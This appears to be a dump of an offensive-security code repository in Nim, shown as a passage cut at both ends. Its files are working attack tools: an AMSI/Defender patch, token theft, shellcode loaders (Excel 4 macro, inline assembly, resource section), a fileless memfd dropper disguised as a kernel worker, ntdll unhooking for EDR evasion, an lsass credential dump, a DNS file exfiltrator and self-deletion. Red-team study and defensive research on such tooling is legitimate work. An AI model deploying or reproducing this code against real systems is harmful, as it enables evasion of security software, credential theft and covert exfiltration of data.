disabled: {bool(success)}" 49 | -------------------------------------------------------------------------------- /src/amsi_providerpatch_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch & Marcello Salvati, Twitter: @ShitSecure, @byt3bl33d3r 3 | https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf 4 | License: BSD 3-Clause 5 | ]# 6 | 7 | import winim/lean 8 | import strformat 9 | import dynlib 10 | import os, sequtils 11 | 12 | when defined amd64: 13 | echo "[*] Running in x64 process" 14 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 15 | elif defined i386: 16 | echo "[*] Running in x86 process" 17 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 18 | 19 | proc PatchAmsi(): bool = 20 | var 21 | amsi: HMODULE 22 | cs: pointer 23 | op: DWORD 24 | t: DWORD 25 | disabled: bool = false 26 | 27 | let filesInPath = toSeq(walkDir("C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\", relative=true)) 28 | var length = len(filesInPath) 29 | # last dir == newest dir 30 | amsi = LoadLibrary(fmt"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\{filesInPath[length-1].path}\\MpOAV.dll") 31 | if amsi == 0: 32 | echo "[X] Failed to load MpOav.dll" 33 | return disabled 34 | cs = GetProcAddress(amsi,"DllGetClassObject") 35 | if cs == nil: 36 | echo "[X] Failed to get the address of 'DllGetClassObject'" 37 | return disabled 38 | 39 | if VirtualProtect(cs, patch.len, 0x40, addr op): 40 | echo "[*] Applying patch" 41 | copyMem(cs, unsafeAddr patch, patch.len) 42 | VirtualProtect(cs, patch.len, op, addr t) 43 | disabled = true 44 | 45 | return disabled 46 | 47 | when isMainModule: 48 | var success = PatchAmsi() 49 | echo fmt"[*] AMSI disabled: {bool(success)}" 50 | -------------------------------------------------------------------------------- /src/ldap_query_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: @fkadibs 3 | License: BSD 3-Clause 4 | 5 | This is an example of querying Active Directory by using ADO's ADSI provider 6 | ]# 7 | 8 | import winim/com 9 | import strformat 10 | 11 | # Connect to ADSI via ADO COM interface 12 | var conn = CreateObject("ADODB.Connection") 13 | conn.Provider = "ADsDSOObject" 14 | #conn.Properties("User ID") = 15 | #conn.Properties("Password") = 16 | #conn.Properties("Encrypt Password") = true 17 | conn.Open("Active Directory Provider") 18 | 19 | 20 | # Create query object to connection 21 | var command = CreateObject("ADODB.Command") 22 | command.ActiveConnection = conn 23 | # command.Properties("Page Size") = 100 24 | 25 | 26 | # Retrieve DNS name of domain controller 27 | var sysinfo = CreateObject("ADSystemInfo") 28 | var dn = sysinfo.DomainDNSName 29 | var root = fmt"" 30 | 31 | 32 | # Build and execute LDAP query 33 | var queryFilter = "(&(objectCategory=person)(objectClass=user))" 34 | var queryAttrib = "cn,distinguishedName" 35 | var queryText = fmt"{root};{queryFilter};{queryAttrib};SubTree" 36 | command.CommandText = queryText 37 | var records = command.Execute() 38 | 39 | 40 | # Check for empty recordset 41 | if (records.BOF == true) and (records.EOF == true): 42 | echo "No records found" 43 | 44 | 45 | # Iterate over recordset 46 | else: 47 | records.MoveFirst() 48 | while records.EOF == false: 49 | # Iterate over row fields 50 | var i = 0 51 | var row: string 52 | while i < records.Fields.Count: 53 | var field = records.Fields.Item(i) 54 | row = fmt"{row}{field} " 55 | inc i 56 | echo row 57 | records.MoveNext() 58 | 59 | # Cleanup 60 | records.Close() 61 | conn.Close() 62 | -------------------------------------------------------------------------------- /src/token_steal_cmd.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import std/strformat 3 | import os 4 | import strutils 5 | # CreateProcessWithTokenW sould be used to run single commands it can't display GUI properly. 6 | #https://stackoverflow.com/questions/21716527/in-windows-how-do-you-programatically-launch-a-process-in-administrator-mode-un/21718198#21718198 7 | 8 | proc OpenToken(PID: int,cmdtorun: string): int = 9 | 10 | var cmd = fmt"C:\Windows\System32\cmd.exe /Q /c {cmdtorun}" 11 | 12 | var getproresult = OpenProcess(PROCESS_ALL_ACCESS,TRUE,PID.DWORD) 13 | if getproresult == 0: 14 | echo "Failed to open process handle" 15 | return 1 16 | echo "[*] pHandle: ",getproresult 17 | 18 | var prochand: HANDLE 19 | var resultbool = OpenProcessToken(getproresult, TOKEN_ALL_ACCESS, addr prochand) #https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken 20 | # https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation 21 | if resultbool == FALSE: 22 | echo "Failed to open process token" 23 | return 1 24 | 25 | 26 | 27 | var newtoken: HANDLE 28 | var dupresult = DuplicateTokenEx(prochand,MAXIMUM_ALLOWED,nil,2,1, addr newtoken) 29 | if bool(dupresult) == FALSE: 30 | echo "Error duplicating token" 31 | return 1 32 | 33 | var si: STARTUPINFO 34 | var pi: PROCESS_INFORMATION 35 | 36 | si.cb = sizeof(si).DWORD 37 | var promake = CreateProcessWithTokenW(newtoken,LOGON_WITH_PROFILE,nil,cmd,0,nil,NULL,addr si, addr pi) 38 | if bool(promake) == FALSE: 39 | echo "Failed to make process" 40 | return 1 41 | 42 | return 0 43 | 44 | 45 | var c = OpenToken(parseInt(paramStr(1)), paramStr(2) ) 46 | echo c 47 | 48 | # Usage: stealtoken.exe 4929 "whoami > c:\windows\temp" 49 | # Result of command is not returned. 50 | 51 | -------------------------------------------------------------------------------- /src/out_compressed_dll_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Compresses, Base-64 encodes and outputs PowerShell code to load a managed dll in memory. Port of the orignal PowerSploit script to Nim. 6 | 7 | Requires the zippy library ("nimble install zippy") 8 | 9 | References: 10 | - https://github.com/byt3bl33d3r/SILENTTRINITY/blob/master/silenttrinity/core/teamserver/utils.py#L22 11 | - https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1 12 | ]# 13 | 14 | import zippy/[inflate, deflate] 15 | import base64 16 | import strformat 17 | import os 18 | 19 | proc dotnet_decode_and_inflate*(data: string): string = 20 | var decoded_data = decode(data) 21 | return cast[string]( 22 | inflate( 23 | cast[seq[uint8]](decoded_data) 24 | ) 25 | ) 26 | 27 | proc dotnet_deflate_and_encode*(data: string): string = 28 | var compressed_data = deflate( 29 | cast[seq[uint8]](data), 30 | level=9 31 | ) 32 | return encode(compressed_data) 33 | 34 | let cmd_line = commandLineParams() 35 | 36 | if cmd_line.len != 1: 37 | echo "Ya need to give me a file dumb dumb" 38 | quit(1) 39 | 40 | let assembly = readFile(cmd_line[0]) 41 | 42 | var deflated_assembly = dotnet_deflate_and_encode(assembly) 43 | 44 | #var inflated_assembly = dotnet_decode_and_inflate(assembly) 45 | 46 | var output = fmt""" 47 | $EncodedCompressedFile = @' 48 | {deflated_assembly} 49 | '@ 50 | $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 51 | $UncompressedFileBytes = New-Object Byte[]({assembly.len}) 52 | $DeflatedStream.Read($UncompressedFileBytes, 0, {assembly.len}) | Out-Null 53 | [Reflection.Assembly]::Load($UncompressedFileBytes) 54 | """ 55 | 56 | echo output 57 | -------------------------------------------------------------------------------- /wip/excel_4_com_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/com 7 | 8 | comScript: 9 | var objExcel = CreateObject("Excel.Application") 10 | objExcel.Visible = false 11 | var shellcode: array[272, byte] = [ 12 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 13 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 14 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 15 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 16 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 17 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 18 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 19 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 20 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 21 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 22 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 23 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 24 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 25 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 26 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 27 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 28 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 29 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 30 | 0x55,0x08] 31 | 32 | var memaddr = objExcel.ExecuteExcel4Macro(&"CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",0,{shellcode.len},4096,64)") 33 | 34 | objExcel.ExecuteExcel4Macro(&"CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, {memaddr}, 0, 0, 0)") -------------------------------------------------------------------------------- /src/shellcode_inline_asm_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Example of using inline assembly to execute shellcode. This is cool cause it avoids using Windows API's to allocate a region of RWX memory. 6 | 7 | References: 8 | - https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++ 9 | ]# 10 | 11 | proc runsc(): void = 12 | # msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp 13 | asm """ 14 | .byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 15 | ret 16 | """ 17 | 18 | runsc() 19 | echo "Dafuq is going on here" # This doesn't execute, crashes after running the shellcode. No clue why. Must investigate 20 | -------------------------------------------------------------------------------- /src/rsrc_section_shellcode.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: pruno, Twitter: @pruno9 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | #[ How to use 7 | 1 - Create a shellcode using whatever you want, for example : msfvenom -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f raw > tests/rsrc/calc.ico 8 | 2 - Create a resource .rc file and put this in it (one line) : 3 RCDATA "calc.ico" 9 | - the 3 here is arbitrary, you can you put whatever you want 10 | - RCDATA is taken from here : https://docs.microsoft.com/en-us/windows/win32/menurc/resource-types, its type is RT_RCDATA is the linked table 11 | - "calc.io" is the shellcode file created before 12 | 3 - Compile the resource file (needs mingw64) : /usr/bin/x86_64-w64-mingw32-windres resource.rc -o resource.o 13 | 4 - Compile this nim file : nim c -d:mingw rsrc_section_shellcode.nim 14 | 5 - Enjoy 15 | ]# 16 | 17 | import winim, winim/lean 18 | import system 19 | 20 | when defined(gcc) and defined(windows): 21 | {.link: "resource.o"} # the name of compiled resource object file as stated above 22 | 23 | proc main() = 24 | var resourceId = 3 # It is the first value inside the .rc file created before 25 | var resourceType = 10 # RCDATA is 10 (see link above about resource types) 26 | 27 | # Find the resource in the .rsrc section using the information defined above 28 | var myResource: HRSRC = FindResource(cast[HMODULE](NULL), MAKEINTRESOURCE(resourceId), MAKEINTRESOURCE(resourceType)) 29 | 30 | # Get the size of the resource 31 | var myResourceSize: DWORD = SizeofResource(cast[HMODULE](NULL), myResource) 32 | 33 | # Load the resource to copy in the allocated memory space 34 | var myResourceData: HGLOBAL = LoadResource(cast[HMODULE](NULL), myResource) 35 | 36 | # Allocate some memory 37 | let rPtr = VirtualAlloc( 38 | NULL, 39 | cast[SIZE_T](myResourceSize), 40 | MEM_COMMIT, 41 | PAGE_EXECUTE_READ_WRITE 42 | ) 43 | 44 | # Copy the data of the resource into the allocated memory space 45 | copyMem(rPtr, cast[LPVOID](myResourceData), myResourceSize) 46 | 47 | # Current process execution 48 | let a = cast[proc(){.nimcall.}](rPtr) 49 | a() 50 | 51 | when isMainModule: 52 | main() -------------------------------------------------------------------------------- /src/memfd_python_interpreter_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Roger Johnston, Twitter: @VV_X_7 3 | License: GNU AGPLv3 4 | 5 | Use `memfd_create` syscall to load a binary into an anonymous file 6 | and execute it with `execve` syscall. 7 | 8 | References: 9 | - https://0x00sec.org/t/super-stealthy-droppers/3715 10 | - https://x-c3ll.github.io/posts/fileless-memfd_create/ 11 | ]# 12 | 13 | import os 14 | import strformat 15 | import dynlib 16 | import osproc 17 | 18 | 19 | # Use `execve` syscall to execute a file in memory. 20 | proc cexecve(pathname: cstring, argv: ptr cstring, envp: cstring): cint {. 21 | nodecl, importc: "execve", header: "".} 22 | 23 | # Use `memfd_create` syscall to create an anonymous file. 24 | proc c_memfd_create(name: cstring, flags: cint): cint {.header: "", 25 | importc: "memfd_create".} 26 | 27 | proc execveCmd(pathName: string, processName: string): int = 28 | ## Modified osproc.execCmd that uses execve. 29 | when defined(linux): 30 | var pName: seq[string] = @[processName] 31 | var pNameArray: cStringArray = pName.allocCStringArray() 32 | let tmp = cexecve(pathName, pNameArray[0].addr, nil) 33 | result = if tmp == -1: tmp else: exitStatusLikeShell(tmp) 34 | else: 35 | result = cexecve(pathName) 36 | 37 | proc execPython() = 38 | ## Loads a binary into memory and execve's it. 39 | ## 40 | # We'll use a python3 binary from disk. 41 | let pythonPath = "/usr/bin/python3" 42 | # Read the binary into a buffer. 43 | # Use net or http here to load something from a socket. 44 | let buffer = readFile(pythonPath) 45 | 46 | # fd is the file descriptor cint returned by c_memfd_create. 47 | let fd = c_memfd_create("ayylmao", 0) 48 | # Create a FileHandle from the file descriptor. 49 | let handle: FileHandle = fd 50 | # Create a File that we'll open using the memfd file handle. 51 | var memfdFile: File 52 | 53 | # Open the file for writing. 54 | let r = open(memfdFile, handle, fmReadWrite) 55 | # Write the buffer to memfdFile. 56 | write(memfdFile, buffer) 57 | 58 | # Build the anonymous file path from the fd cint. 59 | let proccessID: int = getCurrentProcessId() 60 | let pathName: string = fmt"/proc/{proccessID}/fd/{fd}" 61 | let procName: string = "[kworker/0:l0l]" 62 | 63 | var m = execveCmd(pathName, procName) 64 | 65 | when isMainModule: 66 | execPython() 67 | -------------------------------------------------------------------------------- /src/unhookc.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch, Twitter: @shitsecure 3 | Credit to https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++, the code is only slightly modified from there. 4 | 5 | For some reason the psapi import doesn't work here, so you have to manually add it via compiler command like that: 6 | nim c -d:release --passL:"-L. -lPsapi" unhookc.nim 7 | 8 | License: BSD 3-Clause 9 | ]# 10 | 11 | 12 | {.emit: """ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | int ntdllunhook() 20 | { 21 | HANDLE process = GetCurrentProcess(); 22 | MODULEINFO mi; 23 | HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); 24 | 25 | GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 26 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 27 | HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 28 | HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 29 | LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 30 | 31 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 32 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 33 | 34 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { 35 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 36 | 37 | if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { 38 | DWORD oldProtection = 0; 39 | VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 40 | memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 41 | VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); 42 | } 43 | } 44 | 45 | CloseHandle(process); 46 | CloseHandle(ntdllFile); 47 | CloseHandle(ntdllMapping); 48 | FreeLibrary(ntdllModule); 49 | 50 | return 0; 51 | } 52 | 53 | """.} 54 | proc unhook(): int 55 | {.importc: "ntdllunhook", nodecl.} 56 | 57 | when isMainModule: 58 | var result = unhook() 59 | # Malicious Windows API code goes here afterwards -------------------------------------------------------------------------------- /src/dns_exfiltrate.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: HuskyHacks, Twitter: @HuskyHacksMK 4 | License: BSD 3-Clause 5 | 6 | Description: A simple DNS exfiltrator. Reads in the bytes of a specified file, converts them to URL safe b64, then makes TXT record queries to a specified DNS authoritative server. 7 | 8 | Copmpile: 9 | nim c --d:mingw --d:debug --app=console dns_exfiltrate.nim 10 | 11 | Inspired by: https://github.com/samratashok/nishang/blob/master/Utility/Do-Exfiltration.ps1 12 | Something like this: 13 | --- 14 | elseif ($ExfilOption -eq "DNS") 15 | { 16 | $code = Compress-Encode 17 | $queries = [int]($code.Length/63) 18 | while ($queries -ne 0) 19 | { 20 | $querystring = $code.Substring($lengthofsubstr,63) 21 | Invoke-Expression "nslookup -querytype=txt $querystring.$DomainName $AuthNS" 22 | $lengthofsubstr += 63 23 | $queries -= 1 24 | } 25 | $mod = $code.Length%63 26 | $query = $code.Substring($code.Length - $mod, $mod) 27 | Invoke-Expression "nslookup -querytype=txt $query.$DomainName $AuthNS" 28 | --- 29 | 30 | You'll want a listening DNS server at the far end of this to catch the data as it traverses. 31 | 32 | See the Sliver wiki page on DNS C2 for a quick guide on how to set up the required records to do this on a real op: 33 | https://github.com/BishopFox/sliver/wiki/DNS-C2#setup 34 | 35 | ]# 36 | 37 | import dnsclient 38 | import os 39 | from base64 import encode 40 | 41 | 42 | const CHUNK_SIZE = 62 43 | 44 | let homeDir = getHomeDir() 45 | var domain_name = ".yourdnsrecord.local" 46 | var auth_ns = "ns1.authdns.local" 47 | var target_file = homeDir & r"deathstar_engineering_docs.docx" 48 | 49 | proc dns_exfiltrate(ns: string, dom: string, target: string): void = 50 | var content = readFile(target) 51 | let b64 = encode(content, safe=true) 52 | 53 | var stringindex = 0 54 | while stringindex <= b64.len-1: 55 | try: 56 | var query = b64[stringindex .. (if stringindex + CHUNK_SIZE - 1 > b64.len - 1: b64.len - 1 else: stringindex + CHUNK_SIZE - 1)] 57 | let client = newDNSClient(ns) 58 | var dnsquery = query & dom 59 | # echo "[*] ", dnsquery 60 | discard(client.sendQuery(dnsquery, TXT)) 61 | stringindex += CHUNK_SIZE 62 | sleep(3000) 63 | except: 64 | echo "[-] Something broke fam" 65 | quit(1) 66 | 67 | 68 | when isMainModule: 69 | dns_exfiltrate(authNS, domainName, target_file) -------------------------------------------------------------------------------- /src/minidump_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Enumerates all processes to find lsass.exe and creates a memorydump using MiniDumpWriteDump 6 | 7 | References: 8 | - https://gist.github.com/xpn/e3837a4fdee8ea1b05f7fea5e7ea9444 9 | - https://github.com/juancarlospaco/psutil-nim/blob/master/src/psutil/psutil_windows.nim#L55 10 | - https://github.com/byt3bl33d3r/SILENTTRINITY/blob/master/silenttrinity/core/teamserver/modules/boo/src/minidump.boo 11 | ]# 12 | 13 | import winim 14 | 15 | type 16 | MINIDUMP_TYPE = enum 17 | MiniDumpWithFullMemory = 0x00000002 18 | 19 | proc MiniDumpWriteDump( 20 | hProcess: HANDLE, 21 | ProcessId: DWORD, 22 | hFile: HANDLE, 23 | DumpType: MINIDUMP_TYPE, 24 | ExceptionParam: INT, 25 | UserStreamParam: INT, 26 | CallbackParam: INT 27 | ): BOOL {.importc: "MiniDumpWriteDump", dynlib: "dbghelp", stdcall.} 28 | 29 | proc toString(chars: openArray[WCHAR]): string = 30 | result = "" 31 | for c in chars: 32 | if cast[char](c) == '\0': 33 | break 34 | result.add(cast[char](c)) 35 | 36 | proc GetLsassPid(): int = 37 | var 38 | entry: PROCESSENTRY32 39 | hSnapshot: HANDLE 40 | 41 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 42 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 43 | defer: CloseHandle(hSnapshot) 44 | 45 | if Process32First(hSnapshot, addr entry): 46 | while Process32Next(hSnapshot, addr entry): 47 | if entry.szExeFile.toString == "lsass.exe": 48 | return int(entry.th32ProcessID) 49 | 50 | return 0 51 | 52 | when isMainModule: 53 | let processId: int = GetLsassPid() 54 | if not bool(processId): 55 | echo "[X] Unable to find lsass process" 56 | quit(1) 57 | 58 | echo "[*] lsass PID: ", processId 59 | 60 | var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](processId)) 61 | if not bool(hProcess): 62 | echo "[X] Unable to open handle to process" 63 | quit(1) 64 | 65 | try: 66 | var fs = open(r"C:\proc.dump", fmWrite) 67 | echo "[*] Creating memory dump, please wait..." 68 | var success = MiniDumpWriteDump( 69 | hProcess, 70 | cast[DWORD](processId), 71 | fs.getOsFileHandle(), 72 | MiniDumpWithFullMemory, 73 | 0, 74 | 0, 75 | 0 76 | ) 77 | echo "[*] Dump successful: ", bool(success) 78 | fs.close() 79 | finally: 80 | CloseHandle(hProcess) 81 | -------------------------------------------------------------------------------- /src/self_delete_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Credit to @jonasLyk for the discovery of this method and LloydLabs for the initial C PoC code. 6 | 7 | References: 8 | - https://github.com/LloydLabs/delete-self-poc 9 | - https://twitter.com/jonasLyk/status/1350401461985955840 10 | ]# 11 | 12 | 13 | import winim 14 | import system 15 | 16 | var DS_STREAM_RENAME = newWideCString(":wtfbbq") 17 | 18 | proc ds_open_handle(pwPath: PWCHAR): HANDLE = 19 | return CreateFileW(pwPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) 20 | 21 | proc ds_rename_handle(hHandle: HANDLE): WINBOOL = 22 | var fRename: FILE_RENAME_INFO 23 | RtlSecureZeroMemory(addr fRename, sizeof(fRename)) 24 | 25 | var lpwStream: LPWSTR = DS_STREAM_RENAME 26 | fRename.FileNameLength = sizeof(lpwStream).DWORD; 27 | RtlCopyMemory(addr fRename.FileName, lpwStream, sizeof(lpwStream)) 28 | 29 | return SetFileInformationByHandle(hHandle, fileRenameInfo, addr fRename, sizeof(fRename) + sizeof(lpwStream)) 30 | 31 | proc ds_deposite_handle(hHandle: HANDLE): WINBOOL = 32 | var fDelete: FILE_DISPOSITION_INFO 33 | RtlSecureZeroMemory(addr fDelete, sizeof(fDelete)) 34 | 35 | fDelete.DeleteFile = TRUE; 36 | 37 | return SetFileInformationByHandle(hHandle, fileDispositionInfo, addr fDelete, sizeof(fDelete).cint) 38 | 39 | when isMainModule: 40 | var 41 | wcPath: array[MAX_PATH + 1, WCHAR] 42 | hCurrent: HANDLE 43 | 44 | RtlSecureZeroMemory(addr wcPath[0], sizeof(wcPath)); 45 | 46 | if GetModuleFileNameW(0, addr wcPath[0], MAX_PATH) == 0: 47 | echo "[-] Failed to get the current module handle" 48 | quit(QuitFailure) 49 | 50 | hCurrent = ds_open_handle(addr wcPath[0]) 51 | if hCurrent == INVALID_HANDLE_VALUE: 52 | echo "[-] Failed to acquire handle to current running process" 53 | quit(QuitFailure) 54 | 55 | echo "[*] Attempting to rename file name" 56 | if not ds_rename_handle(hCurrent).bool: 57 | echo "[-] Failed to rename to stream" 58 | quit(QuitFailure) 59 | 60 | echo "[*] Successfully renamed file primary :$DATA ADS to specified stream, closing initial handle" 61 | CloseHandle(hCurrent) 62 | 63 | hCurrent = ds_open_handle(addr wcPath[0]) 64 | if hCurrent == INVALID_HANDLE_VALUE: 65 | echo "[-] Failed to reopen current module" 66 | quit(QuitFailure) 67 | 68 | if not ds_deposite_handle(hCurrent).bool: 69 | echo "[-] Failed to set delete deposition" 70 | quit(QuitFailure) 71 | 72 | echo "[*] Closing handle to trigger deletion deposition" 73 | CloseHandle(hCurrent) 74 | 75 | if not PathFileExistsW(addr wcPath[0]).bool: 76 | echo "[*] File deleted successfully" 77 | -------------------------------------------------------------------------------- /src/unhook.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | import strutils 3 | import ptr_math 4 | import strformat 5 | 6 | proc toString(bytes: openarray[byte]): string = 7 | result = newString(bytes.len) 8 | copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len) 9 | 10 | proc ntdllunhook(): bool = 11 | let low: uint16 = 0 12 | var 13 | processH = GetCurrentProcess() 14 | mi : MODULEINFO 15 | 